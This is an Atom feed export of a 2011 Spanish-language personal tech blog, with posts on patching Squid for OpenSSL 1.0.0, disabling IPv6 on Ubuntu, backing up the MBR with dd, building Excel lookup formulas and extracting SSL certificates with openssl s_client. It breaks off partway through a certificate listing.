<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-14074570</id><updated>2011-12-29T11:32:50.785+01:00</updated><category term='shadow'/><category term='linker'/><category term='parametros'/><category term='net'/><category term='javascript'/><category term='headers'/><category term='dualcore'/><category term='gentoo'/><category term='watch'/><category term='perl'/><category term='folder'/><category term='mysql python'/><category term='libc'/><category term='ucspi-tcp'/><category term='poema'/><category term='array'/><category term='citas'/><category term='blob'/><category term='2003 RC2'/><category term='yum'/><category term='excel'/><category term='foto'/><category term='daemontools'/><category term='naturaleza'/><category term='python'/><category term='debian'/><category term='fuentes'/><category term='pam'/><category term='windows'/><category term='digitemp'/><category term='c++'/><category term='opera'/><category term='trance'/><category term='backup'/><category term='patch'/><category term='kstars'/><category term='certificados'/><category term='reversing'/><category term='apache'/><category term='linux'/><category term='serial'/><category term='musica'/><category term='portage'/><category term='Wmware Workstation'/><category term='virustotal'/><category term='mysql'/><category term='belleza'/><category term='Camorro Alto'/><category term='php'/><category term='jpeg'/><category term='itaca'/><category term='x11'/><category term='ajax'/><category term='vmware'/><category term='photoshop'/><category term='cpan'/><category term='64bits'/><category term='hang up'/><category term='verdi'/><category term='openssl'/><category term='wii'/><category term='ssh'/><category term='putty'/><category term='cpio'/><category term='san mateo'/><category term='post'/><category term='nessus'/><category term='djb'/><category term='emerge'/><category term='yoigo'/><category term='jquery'/><category term='bluetooth'/><category term='shared folders'/><category term='acuario'/><category term='peliculas'/><category term='escape'/><category term='psychedelic'/><category term='montañismo'/><category term='compilar'/><category term='estrellas'/><category term='html'/><category term='san juan'/><category term='sensor'/><category term='openwrt'/><category term='mod_python'/><category term='gcc'/><category term='comando'/><category term='udev'/><category term='lib64'/><category term='ubuntu'/><category term='series'/><category term='gd'/><category term='vmware tools'/><category term='fonera'/><category term='zip'/><category term='subversion'/><title type='text'>Tranquilidad</title><subtitle type='html'>Hay otros mundos, pero están en éste. Hay otras vidas, pero están en ti.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default?start-index=101&amp;max-results=100'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>161</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-14074570.post-6079236078224363366</id><published>2011-12-16T16:17:00.000+01:00</published><updated>2011-12-16T16:19:07.449+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openssl'/><category scheme='http://www.blogger.com/atom/ns#' term='compilar'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Compilar SQUID 2.7 en Ubuntu 10.10 con OpenSSL 1.0.0</title><content type='html'>En la nueva rama de OpenSSL 1.0.0 el soporte para SSL v2 ha sido eliminado, SSLv2 es un protocolo obsoleto que contiene múltiples fallos de seguridad que son fácilmente explotables, por tanto su uso debe ser evitado.&lt;br /&gt;&lt;br /&gt;El problema ocurre cuando queremos compilar programas con versiones antiguas que hacen en su código uso de este protocolo, este es el caso de querer compilar desde código SQUID2.7 sobre una Ubuntu 10.10, obtendremos un error similar a:&lt;br /&gt;&lt;pre class="codigo"&gt;ssl_support.o: In function `sslCreateServerContext':&lt;br /&gt;/usr/src/proxy/squid-2.7.STABLE9/src/ssl_support.c:451: undefined reference to `SSLv2_server_method'&lt;br /&gt;ssl_support.o: In function `sslCreateClientContext':&lt;br /&gt;/usr/src/proxy/squid-2.7.STABLE9/src/ssl_support.c:614: undefined reference to `SSLv2_client_method'&lt;br /&gt;collect2: ld returned 1 exit status&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;La solución pasa por parchear el código o eliminar las partes que requieren de funciones sslv2 tal como se puede observar en el siguiente patch&lt;br /&gt;&lt;pre class="codigo"&gt;--- /usr/src/proxy/squid-2.7.STABLE9/src/ssl_support.c.orig     2011-12-16 12:54:54.000000000 +0100&lt;br /&gt;+++ /usr/src/proxy/squid-2.7.STABLE9/src/ssl_support.c  2011-12-16 12:55:15.000000000 +0100&lt;br /&gt;@@ -446,10 +446,12 @@&lt;br /&gt;     ERR_clear_error();&lt;br /&gt;     debug(83, 1) ("Initialising SSL.\n");&lt;br /&gt;     switch (version) {&lt;br /&gt;+#ifndef OPENSSL_NO_SSL2&lt;br /&gt;     case 2:&lt;br /&gt;        debug(83, 5) ("Using SSLv2.\n");&lt;br /&gt;        method = SSLv2_server_method();&lt;br /&gt;        break;&lt;br /&gt;+#endif&lt;br /&gt;     case 3:&lt;br /&gt;        debug(83, 5) ("Using SSLv3.\n");&lt;br /&gt;        method = SSLv3_server_method();&lt;br /&gt;@@ -609,10 +611,12 @@&lt;br /&gt;     ERR_clear_error();&lt;br /&gt;     debug(83, 1) ("Initialising SSL.\n");&lt;br /&gt;     switch (version) {&lt;br /&gt;+#ifndef OPENSSL_NO_SSL2&lt;br /&gt;     case 2:&lt;br /&gt;        debug(83, 5) ("Using SSLv2.\n");&lt;br /&gt;        method = SSLv2_client_method();&lt;br /&gt;        break;&lt;br /&gt;+#endif&lt;br /&gt;     case 3:&lt;br /&gt;        debug(83, 5) ("Using SSLv3.\n");&lt;br /&gt;        method = SSLv3_client_method();&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Para aplicarlo podemos copiar el contenido anterior en un archivo y ejecutar: patch -p0 &amp;lt; parche.txt&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-6079236078224363366?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/6079236078224363366/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=6079236078224363366&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6079236078224363366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6079236078224363366'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/12/compilar-squid-27-en-ubuntu-1010-con.html' title='Compilar SQUID 2.7 en Ubuntu 10.10 con OpenSSL 1.0.0'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7562634374898916623</id><published>2011-11-27T18:48:00.001+01:00</published><updated>2011-11-27T18:52:47.614+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='belleza'/><title type='text'>La belleza está en los ojos del que mira</title><content type='html'>Para un momento a mirar la belleza que nos rodea:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;iframe allowfullscreen="" frameborder="0" height="360" src="http://www.youtube-nocookie.com/embed/gXDMoiEkyuQ?rel=0#t=1s" width="640"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Louis_Schwartzberg"&gt;Louis Schwartzberg&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7562634374898916623?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7562634374898916623/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7562634374898916623&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7562634374898916623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7562634374898916623'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/11/la-belleza-esta-en-los-ojos-del-que.html' title='La belleza está en los ojos del que mira'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-6893888194334094748</id><published>2011-10-26T09:31:00.001+02:00</published><updated>2011-10-26T09:32:39.924+02:00</updated><title type='text'>Deshabilitar ipv6 en ubuntu 11.10 GNU/Linux 3.0.0</title><content type='html'>Parece que en los ultimos kernel algo ha cambiado que ya no es posible deshabilitar el soporte IP v6 a través de los métodos tradicionales, vease:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Método 1, &lt;b&gt;NO FUNCIONA&lt;/b&gt;. Añadir la configuración al núcleo (supuestamente funcional en Ubuntu 10.04 y 10.10):&lt;pre class="codigo"&gt;vi /etc/sysctl.conf&lt;br /&gt;# IPv6&lt;br /&gt;net.ipv6.conf.all.disable_ipv6 = 1&lt;br /&gt;net.ipv6.conf.default.disable_ipv6 = 1&lt;br /&gt;net.ipv6.conf.lo.disable_ipv6 = 1&lt;br /&gt;&lt;/pre&gt;Recargamos la configuración y vemos si está aplicada con:&lt;pre class="codigo"&gt;sysctl -p&lt;br /&gt;cat /proc/sys/net/ipv6/conf/all/disable_ipv6&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Método 2. &lt;b&gt;NO FUNCIONA&lt;/b&gt;. Deshabilitar los módulos  (supuestamente funcional en Ubuntu 9.04 y anteriores):&lt;pre class="codigo"&gt;vi /etc/modprobe.d/aliases&lt;br /&gt;alias net-pf-10 ipv6 off&lt;br /&gt;alias net-pf-10 off&lt;br /&gt;alias ipv6 off&lt;/pre&gt;Reiniciamos&lt;pre class="codigo"&gt;reboot&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Método 3. &lt;b style="color:red"&gt;FUNCIONA&lt;/b&gt; Como posiblemente todo esto no nos haya funcionado:&lt;pre class="codigo"&gt;vi /etc/default/grub&lt;br /&gt;&amp;lt;&amp;lt; GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"&lt;br /&gt;&amp;gt;&amp;gt; GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash ipv6.disable=1”&lt;br /&gt;&lt;/pre&gt;Recargamos la configuración del grub y reiniciamos:&lt;pre class="codigo"&gt;update-grub&lt;br /&gt;reboot&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-6893888194334094748?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/6893888194334094748/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=6893888194334094748&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6893888194334094748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6893888194334094748'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/10/deshabilitar-ipv6-en-ubuntu-1110.html' title='Deshabilitar ipv6 en ubuntu 11.10 GNU/Linux 3.0.0'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-8813195791953015262</id><published>2011-10-14T12:01:00.001+02:00</published><updated>2011-10-14T12:01:55.957+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Backup y recuperación del MBR y tabla de particiones</title><content type='html'>Backup a un archivo del mbr, particiones y lista legible:&lt;pre class="codigo"&gt;dd if=/dev/sda of=sda.mbr bs=512 count=1&lt;br /&gt;fdisk -l &gt; particiones.txt&lt;br /&gt;&lt;/pre&gt;Recuperación a disco:&lt;pre class="codigo"&gt;dd if=sda.mbr of=/dev/sda bs=512 count=1&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-8813195791953015262?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/8813195791953015262/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=8813195791953015262&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8813195791953015262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/8813195791953015262'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/10/backup-y-recuperacion-del-mbr-y-tabla.html' title='Backup y recuperación del MBR y tabla de particiones'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3836730239321915094</id><published>2011-10-02T11:00:00.001+02:00</published><updated>2011-10-02T12:23:37.165+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='excel'/><title type='text'>Como crear una tabla de asociación en Excel</title><content type='html'>&lt;br /&gt;El otro&amp;nbsp;día&amp;nbsp;un amigo profesor me comentaba que estaba creando una tabla excel para llevar la contabilidad de las notas de sus alumnos. Para ello durante el curso realizaba distintas pruebas (exámenes&amp;nbsp;al fin y al cabo) que aportaban un porcentaje de la nota final, para el resto debía utilizar indicadores de comportamiento del alumno, el había tenido la idea de hacer uso de las puntuaciones de las pruebas para&amp;nbsp;automáticamente&amp;nbsp;rellenar los indicadores de comportamiento, he aquí donde entra la pregunta, ¿como hacer una hoja excel&amp;nbsp;genérica&amp;nbsp;en la que no tenga que estar haciendo AVERAGE(A1;B1...) etc si no que&amp;nbsp;automáticamente&amp;nbsp;coja las columnas que yo le diga)?&lt;br /&gt;&lt;br /&gt;La solución que se me ocurrió en ese momento fue crear una nueva hoja donde rellenaríamos las relaciones que deben tenerse en cuenta para hacer la media, veamos pues:&lt;br /&gt;&lt;br /&gt;Tenemos una tabla con notas por alumnos y&amp;nbsp;exámenes:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-77hm7puMRK0/TogkpZIx8aI/AAAAAAAAA1I/sdbsJ8x-F_w/s1600/01.png" /&gt;&lt;/div&gt;&lt;br /&gt;Y la tabla de indicadores que deseamos rellenar&amp;nbsp;automáticamente:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-DMP9MAhKXAA/ToglwtAJsKI/AAAAAAAAA1M/EjU6ijwmUNk/s1600/02.png" /&gt;&lt;/div&gt;&lt;br /&gt;La idea que me propuso era básicamente hacer que la competencia número 1 se basara en la media del listening, vocabulario y examen T1, la del 2 en otras 4 distintas, tal que así. En estático sería simplemente en la columna B39=AVERAGE(B5;C5;D5), en la C39=AVERAGE(de otras cuatro)&lt;br /&gt;&lt;br /&gt;Hasta aquí bien, pero si tengo otra clase con diferentes asignaturas y las relaciones cambian debo editar una por una todas las celdas de mi tabla de indicadores, ¿como hacer esta edición mas intuitiva?&lt;br /&gt;&lt;br /&gt;Para ello usaremos una tabla de relaciones, abrimos una nueva página donde creamos una tabla que diga para el indicador uno usarás B,C y D, para el 2: C,D,F y H, etc:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-V2hBTvB8mM8/TogoBkPmm8I/AAAAAAAAA1Q/7VTl0dSfJMA/s1600/03.png" /&gt;&lt;/div&gt;&lt;br /&gt;Ahora queremos que en la celda B39 de la hoja Alumnos se&amp;nbsp;evalúe&amp;nbsp;esta relación, para ello haremos uso de una formula que obtenga de la hoja Referencias el numero de indicador según la columna en la que nos encontramos.&lt;br /&gt;&lt;br /&gt;Un poco de teoría:&lt;br /&gt;La función COLUMN() nos dice el valor&amp;nbsp;numérico&amp;nbsp;de la columna actual en el caso B39, COLUMN() = 2&lt;br /&gt;La funcion ROW() nos devuelve el valor numérico de la fila en la que estamos B39, ROW() = 39&lt;br /&gt;La función OFFSET nos permite obtener el contenido de una celda en relación a la que le indiquemos, por ej: OFFSET(B39;1;1) = contenido de la celda C40.&lt;br /&gt;&lt;br /&gt;De esta forma vamos a ir construyendo la formula poco a poco:&lt;br /&gt;&lt;pre class="codigo"&gt;=OFFSET(Referencias!$B$4;COLUMN()-1;1)&lt;/pre&gt;Como nos encontramos en la columna B, COLUMN() devuelve 2, siendo el indicador 1, le restamos 1 y cogemos el OFFSET respecto a&amp;nbsp;Referencias!$B$4, esto nos devolverá el contenido de&amp;nbsp;Referencias!C5 = "B"&lt;br /&gt;&lt;br /&gt;Para seleccionar la fila debemos posicionarnos en la primera tabla de notas, esto lo haremos restandole a nuestra fila la distancia con la fila de la primera tabla:&lt;br /&gt;&lt;pre class="codigo"&gt;=(ROW()-39+5) &lt;/pre&gt;Al estar en la fila 39 la operación nos devolverá "5".&lt;br /&gt;&lt;br /&gt;Concatenando:&lt;br /&gt;&lt;pre class="codigo"&gt;=OFFSET(Referencias!$B$4;COLUMN()-1;1) &amp;amp;&amp;nbsp;(ROW()-39+5)&lt;/pre&gt;Resultado: B5&lt;br /&gt;&lt;br /&gt;Ahora introducimos la función INDIRECT que permite hacer referencia al numero de celda que escribamos en otra, por ej: Si A1="B1" entonces INDIRECT(A1) nos devolverá el contenido de la celda B1.&lt;br /&gt;&lt;pre class="codigo"&gt;=INDIRECT(&amp;nbsp;OFFSET(Referencias!$B$4;COLUMN()-1;1) &amp;amp;&amp;nbsp;(ROW()-39+5) )&lt;/pre&gt;Nos devolverá el contenido de B5 = 6&lt;br /&gt;&lt;br /&gt;Haciendo esta misma operación con la media de los 6 indicadores sería tal que así:&lt;br /&gt;&lt;pre class="codigo"&gt;&lt;br /&gt;=AVERAGE(&lt;br /&gt;&amp;nbsp; INDIRECT(&amp;nbsp;OFFSET(Referencias!$B$4;COLUMN()-1;1) &amp;amp;&amp;nbsp;(ROW()-39+5) );&lt;br /&gt;&amp;nbsp; INDIRECT( OFFSET(Referencias!$B$4;COLUMN()-1;2) &amp;amp; (ROW()-39+5) );&lt;br /&gt;&amp;nbsp; INDIRECT( OFFSET(Referencias!$B$4;COLUMN()-1;3) &amp;amp; (ROW()-39+5) );&lt;br /&gt;&amp;nbsp; INDIRECT( OFFSET(Referencias!$B$4;COLUMN()-1;4) &amp;amp; (ROW()-39+5) );&lt;br /&gt;&amp;nbsp; INDIRECT( OFFSET(Referencias!$B$4;COLUMN()-1;5) &amp;amp; (ROW()-39+5) );&lt;br /&gt;&amp;nbsp; INDIRECT( OFFSET(Referencias!$B$4;COLUMN()-1;6) &amp;amp; (ROW()-39+5) )&lt;br /&gt;)&lt;/pre&gt;Cuidado con olvidarse un punto y coma en el último pues eso haría que excel creyera que hay otro valor más e hiciera media con cero.&lt;br /&gt;&lt;br /&gt;Ya solo queda copiar el contenido de B39 en todas las demás:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-FW3Vsuu1uwI/TogtbQQGmPI/AAAAAAAAA1U/r-uT2TOXqmM/s1600/04.png" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3836730239321915094?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3836730239321915094/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3836730239321915094&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3836730239321915094'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3836730239321915094'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2011/10/como-crear-una-tabla-de-asociacion-en.html' title='Como crear una tabla de asociación en Excel'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-77hm7puMRK0/TogkpZIx8aI/AAAAAAAAA1I/sdbsJ8x-F_w/s72-c/01.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-1539231645408500490</id><published>2011-05-06T13:28:00.001+02:00</published><updated>2011-05-06T13:29:53.036+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='certificados'/><category scheme='http://www.blogger.com/atom/ns#' term='openssl'/><title type='text'>Extraer los certificados SSL de un determinado puerto (2)</title><content type='html'>Esto es una ampliación a la entrada de como obtener los certificados de cierto puerto: &lt;a href="http://www.tranquilidadtecnologica.com/2006/08/extraer-los-certificados-ssl-de-un.html"&gt;http://www.tranquilidadtecnologica.com/2006/08/extraer-los-certificados-ssl-de-un.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En aquel entonces era para puertos puramente SSL:&lt;br /&gt;&lt;pre class="codigo"&gt;$ openssl s_client -showcerts -connect smtp.gmail.com:465&lt;br /&gt;CONNECTED(00000003)&lt;br /&gt;depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;verify error:num=20:unable to get local issuer certificate&lt;br /&gt;verify return:1&lt;br /&gt;depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;verify error:num=27:certificate not trusted&lt;br /&gt;verify return:1&lt;br /&gt;depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;verify error:num=21:unable to verify the first certificate&lt;br /&gt;verify return:1&lt;br /&gt;---&lt;br /&gt;Certificate chain&lt;br /&gt; 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;   i:/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com&lt;br /&gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;MIIDVjCCAr+gAwIBAgIDP97OMA0GCSqGSIb3DQEBBAUAMIHOMQswCQYDVQQGEwJa&lt;br /&gt;QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xHTAb&lt;br /&gt;BgNVBAoTFFRoYXd0ZSBDb25zdWx0aW5nIGNjMSgwJgYDVQQLEx9DZXJ0aWZpY2F0&lt;br /&gt;aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEwHwYDVQQDExhUaGF3dGUgUHJlbWl1bSBT&lt;/pre&gt;&lt;br /&gt;Pero en algunos casos el puerto puede comenzar la sessión SSL a posteriori mediante el comando STARTTLS, en estos casos debemos especificar que protocolo debe hablar, por ejemplo:&lt;br /&gt;&lt;pre class="codigo"&gt;$ openssl s_client -showcerts -connect smtp.gmail.com:25 -starttls smtp&lt;br /&gt;CONNECTED(00000003)&lt;br /&gt;depth=1 /C=US/O=Google Inc/CN=Google Internet Authority&lt;br /&gt;verify error:num=20:unable to get local issuer certificate&lt;br /&gt;verify return:0&lt;br /&gt;---&lt;br /&gt;Certificate chain&lt;br /&gt; 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com&lt;br /&gt;   i:/C=US/O=Google Inc/CN=Google Internet Authority&lt;br /&gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;MIIDWzCCAsSgAwIBAgIKaM9uMQADAAAirTANBgkqhkiG9w0BAQUFADBGMQswCQYD&lt;br /&gt;VQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzEiMCAGA1UEAxMZR29vZ2xlIElu&lt;br /&gt;dGVybmV0IEF1dGhvcml0eTAeFw0xMTAyMTYwNDM4MDlaFw0xMjAyMTYwNDQ4MDla&lt;br /&gt;MGgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1N&lt;br /&gt;b3VudGFpbiBWaWV3MRMwEQYDVQQKEwpHb29nbGUgSW5jMRcwFQYDVQQDEw5zbXRw&lt;br /&gt;LmdtYWlsLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzv9SacnXKcAx&lt;br /&gt;+0B4yVH2qdpVUXnCk0Nvkn/y2Y0nkzFaWsWMAkOLTMtsa5yP69pnsYb9tUrs4KiL&lt;br /&gt;DkRnf7RdSVlmpIGAknMAPDY/rja23ltutuN7Q4EjadsY8Q+NX5uWjlPsA5BE8GuI&lt;br /&gt;9JobEl4iGFUAfF+2iOGlwFeFbpCaDJECAwEAAaOCASwwggEoMB0GA1UdDgQWBBQK&lt;br /&gt;stTMUTHcQEpEpgaXuVVXJeIHxjAfBgNVHSMEGDAWgBS/wDDr9UMRPme6npH7/Gra&lt;br /&gt;42sSJDBbBgNVHR8EVDBSMFCgTqBMhkpodHRwOi8vd3d3LmdzdGF0aWMuY29tL0dv&lt;br /&gt;b2dsZUludGVybmV0QXV0aG9yaXR5L0dvb2dsZUludGVybmV0QXV0aG9yaXR5LmNy&lt;br /&gt;bDBmBggrBgEFBQcBAQRaMFgwVgYIKwYBBQUHMAKGSmh0dHA6Ly93d3cuZ3N0YXRp&lt;br /&gt;Yy5jb20vR29vZ2xlSW50ZXJuZXRBdXRob3JpdHkvR29vZ2xlSW50ZXJuZXRBdXRo&lt;br /&gt;b3JpdHkuY3J0MCEGCSsGAQQBgjcUAgQUHhIAVwBlAGIAUwBlAHIAdgBlAHIwDQYJ&lt;br /&gt;KoZIhvcNAQEFBQADgYEAxxXNJTE3LS1vmaqNZcFbNeUQtF/9DHpTfGGTtQCAjeMR&lt;br /&gt;uhwSpAmc3/TxeERkT8cBckQxZWlMn2sHa418+DNv0/0QB4SZs0Fus4mXq/Erz91Y&lt;br /&gt;Ouo+mV5BJSkDXH/qbG6wiBdEIypseBEbG+XJMxTSaYVgUjY313rBbAvQ0Uf7ZGQ=&lt;br /&gt;-----END CERTIFICATE-----&lt;br /&gt; 1 s:/C=US/O=Google Inc/CN=Google Internet Authority&lt;br /&gt;   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority&lt;br /&gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;MIICsDCCAhmgAwIBAgIDC2dxMA0GCSqGSIb3DQEBBQUAME4xCzAJBgNVBAYTAlVT&lt;br /&gt;MRAwDgYDVQQKEwdFcXVpZmF4MS0wKwYDVQQLEyRFcXVpZmF4IFNlY3VyZSBDZXJ0&lt;br /&gt;aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDkwNjA4MjA0MzI3WhcNMTMwNjA3MTk0MzI3&lt;br /&gt;WjBGMQswCQYDVQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzEiMCAGA1UEAxMZ&lt;br /&gt;R29vZ2xlIEludGVybmV0IEF1dGhvcml0eTCBnzANBgkqhkiG9w0BAQEFAAOBjQAw&lt;br /&gt;gYkCgYEAye23pIucV+eEPkB9hPSP0XFjU5nneXQUr0SZMyCSjXvlKAy6rWxJfoNf&lt;br /&gt;NFlOCnowzdDXxFdF7dWq1nMmzq0yE7jXDx07393cCDaob1FEm8rWIFJztyaHNWrb&lt;br /&gt;qeXUWaUr/GcZOfqTGBhs3t0lig4zFEfC7wFQeeT9adGnwKziV28CAwEAAaOBozCB&lt;br /&gt;oDAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFL/AMOv1QxE+Z7qekfv8atrjaxIk&lt;br /&gt;MB8GA1UdIwQYMBaAFEjmaPkr0rKV10fYIyAQTzOYkJ/UMBIGA1UdEwEB/wQIMAYB&lt;br /&gt;Af8CAQAwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nZW90cnVzdC5jb20v&lt;br 